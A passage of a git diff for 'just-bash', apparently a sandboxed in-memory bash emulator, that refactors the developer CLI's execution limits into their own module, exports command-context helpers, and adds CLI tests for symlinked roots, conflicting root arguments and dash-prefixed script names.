append(value: Uint8Array): this { + if (value.byteLength > this.remainingBytes) { + throw new ExecutionLimitError( + `${this.label}: byte size limit exceeded (${this.maxBytes} bytes)`, + "string_length", + ); + } + if (value.byteLength > 0) this.chunks.push(value); + this.usedBytes += value.byteLength; + return this; + } + + build(): Uint8Array { + const output = new Uint8Array(this.usedBytes); + let offset = 0; + for (const chunk of this.chunks) { + output.set(chunk, offset); + offset += chunk.byteLength; + } + return output; + } +} diff --git a/packages/just-bash/src/browser.ts b/packages/just-bash/src/browser.ts index 1ad8c48e..b565ade2 100644 --- a/packages/just-bash/src/browser.ts +++ b/packages/just-bash/src/browser.ts @@ -21,8 +21,12 @@ export { getCommandNames, getNetworkCommandNames, } from "./commands/registry.js"; -export type { CustomCommand, LazyCommand } from "./custom-commands.js"; -export { defineCommand } from "./custom-commands.js"; +export type { + CommandContextOptions, + CustomCommand, + LazyCommand, +} from "./custom-commands.js"; +export { createCommandContext, defineCommand } from "./custom-commands.js"; export { InMemoryFs } from "./fs/in-memory-fs/index.js"; export type { BufferEncoding, @@ -58,4 +62,5 @@ export type { CommandContext, ExecResult, IFileSystem, + ResolvedCommandContext, } from "./types.js"; diff --git a/packages/just-bash/src/cli/exec-limits.test.ts b/packages/just-bash/src/cli/exec-limits.test.ts new file mode 100644 index 00000000..cd09b107 --- /dev/null +++ b/packages/just-bash/src/cli/exec-limits.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from "vitest"; +import { getDevExecutionLimits } from "./exec-limits.js"; + +describe("developer CLI execution limits", () => { + it("removes shell and traversal accounting ceilings with --no-limit", () => { + expect(getDevExecutionLimits(true)).toMatchObject({ + maxCommandCount: Number.POSITIVE_INFINITY, + maxLoopIterations: Number.POSITIVE_INFINITY, + maxTraversalEntries: Number.POSITIVE_INFINITY, + maxTraversalWork: Number.POSITIVE_INFINITY, + }); + }); +}); diff --git a/packages/just-bash/src/cli/exec-limits.ts b/packages/just-bash/src/cli/exec-limits.ts new file mode 100644 index 00000000..d309a91b --- /dev/null +++ b/packages/just-bash/src/cli/exec-limits.ts @@ -0,0 +1,18 @@ +import type { ExecutionLimits } from "../limits.js"; + +/** Resource policy for the developer execution CLI. */ +export function getDevExecutionLimits(noLimit: boolean): ExecutionLimits { + if (noLimit) { + return { + maxCommandCount: Number.POSITIVE_INFINITY, + maxLoopIterations: Number.POSITIVE_INFINITY, + maxTraversalEntries: Number.POSITIVE_INFINITY, + maxTraversalWork: Number.POSITIVE_INFINITY, + }; + } + + return { + maxCommandCount: 100_000, + maxLoopIterations: 100_000, + }; +} diff --git a/packages/just-bash/src/cli/exec.ts b/packages/just-bash/src/cli/exec.ts index b3581c8f..42ee4431 100644 --- a/packages/just-bash/src/cli/exec.ts +++ b/packages/just-bash/src/cli/exec.ts @@ -27,6 +27,7 @@ import { resolve } from "node:path"; import { Bash } from "../Bash.js"; import { OverlayFs } from "../fs/overlay-fs/index.js"; import { parse } from "../parser/parser.js"; +import { getDevExecutionLimits } from "./exec-limits.js"; const showAst = process.argv.includes("--print-ast"); const runRealBash = process.argv.includes("--real-bash"); @@ -80,15 +81,7 @@ if (showAst) { // Create Bash environment with optional OverlayFS // Use high limits for dev:exec (typical use is exploration of large filesystems) -const executionLimits = noLimit - ? { - maxCommandCount: Number.MAX_SAFE_INTEGER, - maxLoopIterations: Number.MAX_SAFE_INTEGER, - } - : { - maxCommandCount: 100000, // Higher default for dev:exec - maxLoopIterations: 100000, - }; +const executionLimits = getDevExecutionLimits(noLimit); let env: Bash; if (rootPath) { diff --git a/packages/just-bash/src/cli/just-bash.test.ts b/packages/just-bash/src/cli/just-bash.test.ts index 8b55dad6..b71f6329 100644 --- a/packages/just-bash/src/cli/just-bash.test.ts +++ b/packages/just-bash/src/cli/just-bash.test.ts @@ -197,6 +197,84 @@ describe("just-bash CLI", () => { expect(result.stdout).toBe("in cwd"); expect(result.exitCode).toBe(0); }); + + it("binds an explicit symlink root to its canonical target", () => { + const target = path.join(tempDir, "root-target"); + const link = path.join(tempDir, "root-link"); + fs.mkdirSync(target); + fs.writeFileSync(path.join(target, "inside.txt"), "inside"); + try { + fs.symlinkSync(target, link); + } catch { + return; + } + + const result = runCli(["-c", "'cat inside.txt'", "--root", link]); + + expect(result.stdout).toBe("inside"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("does not reinterpret an inline-script positional from filesystem state", () => { + const narrowRoot = path.join(tempDir, "narrow"); + fs.mkdirSync(narrowRoot); + const result = runCli(["-c", "'echo unsafe'", narrowRoot]); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: script file cannot be combined with -c\n", + ); + expect(result.exitCode).toBe(1); + }); + + it("treats a positional as a script file even when it names a directory", () => { + fs.mkdirSync(path.join(tempDir, "script-name")); + + const result = runCli(["script-name"], { + cwd: tempDir, + input: "echo ignored", + }); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: Cannot read script file: script-name\nEIO: open ''\n", + ); + expect(result.exitCode).toBe(1); + }); + + it("preserves the legacy script-file positional root", () => { + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir]); + + expect(result.stdout).toBe("compatible"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("accepts matching positional and explicit roots", () => { + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir, "--root", tempDir]); + + expect(result.stdout).toBe("compatible"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("rejects conflicting positional and explicit roots", () => { + const otherRoot = fs.mkdtempSync( + path.join(os.tmpdir(), "just-bash-root-"), + ); + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir, "--root", otherRoot]); + fs.rmSync(otherRoot, { recursive: true, force: true }); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: conflicting positional root and --root\n", + ); + expect(result.exitCode).toBe(1); + }); }); describe("--json output", () => { @@ -289,6 +367,14 @@ describe("just-bash CLI", () => { expect(result.stdout).toBe("from-script\n"); expect(result.exitCode).toBe(0); }); + + it("uses -- to execute a script file whose name starts with a dash", () => { + fs.writeFileSync(path.join(tempDir, "-script.sh"), "echo dash-script"); + const result = runCli(["--root", tempDir, "--", "-script.sh"]); + expect(result.stdout).toBe("dash-script\n"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); }); describe("mount point behavior", () => { diff --git a/packages/just-bash/src/cli/just-bash.ts b/packages/just-bash/src/cli/just-bash.ts index 0319fb94..f8a42a89 100644 --- a/packages/just-bash/src/cli/just-bash.ts +++ b/packages/just-bash/src/cli/just-bash.ts @@ -5,10 +5,9 @@ * Reads from the real filesystem, but writes stay in memory. * * Usage: - * just-bash [options] [root-path] - * just-bash -c 'script' [root-path] - * echo 'script' | just-bash [root-path] - * just-bash script.sh [root-path] + * just-bash [options] [script-file] [root] + * just-bash -c 'script' [options] + * echo 'script' | just-bash [options] * * Options: * -c